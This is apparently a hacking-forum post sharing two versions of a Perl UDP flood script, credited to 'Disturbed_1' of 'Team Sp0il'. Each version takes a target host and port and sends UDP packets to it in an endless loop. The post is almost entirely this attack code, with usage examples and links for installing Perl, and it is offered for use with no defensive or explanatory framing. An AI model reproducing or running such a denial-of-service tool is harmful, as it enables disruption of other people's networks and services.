Denial-of-service script in perl

PHP Code:


#!/usr/bin/perl
# udp

#Here I turned it into a one liner.
#i.e: flooder.pl 127.0.0.1 80

#flooder.pl coded by disturbed_1 print q{
=================================================
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * * Coded By * * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * *Disturbed_1 * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * *Team *Sp0il * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * * Sp0il.com * * * * * * * * * =
= * * * * * * * * * * * * * * * * * * * * * * * =
=================================================
};
use io::socket;
if ($#ARGV != 1) { print "Usage: flooder.pl host port\n";
print "Example:\n\t flooder.pl 127.0.0.1 80\n\n";
exit(0);
} $host = $ARGV[0]; $port = $ARGV[1];
{ $sock = IO::Socket::INET->new (
 * * * * PeerAddr => $host,
 * * * * PeerPort => $port,
 * * * * Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
} packets:
while (1) { $size = rand() * 200 * 2000;
print ("$host:$port packet size: $size\n"); send($sock, 0, $size);
}  

~Version 1.0 (OLD)

PHP Code:

#!/usr/bin/perl
# udp
#flooder.pl coded by disturbed_1
print q{
=================================================
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * * Coded By * * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * *Disturbed_1 * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * *Team *Sp0il * * * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * * Sp0il.com * * * * * * * * * =
= * * * * * * * * * * * * * * * * * * * * * * * =
=================================================
};

use io::socket;

print "Host: "; chop ($host = <stdin>);
print "Port: "; chop ($port = <stdin>);

{ $sock = IO::Socket::INET->new (
 * * * *PeerAddr => $host,
 * * * *PeerPort => $port,
 * * * *Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
} packets:
while (1) { $size = rand() * 200 * 2000;
print ("$host:$port packet size: $size\n"); send($sock, 0, $size);
}  

~./Supp0rT#:
http://www.activestate.com/activeperl/
http://www.perl.com/download.csp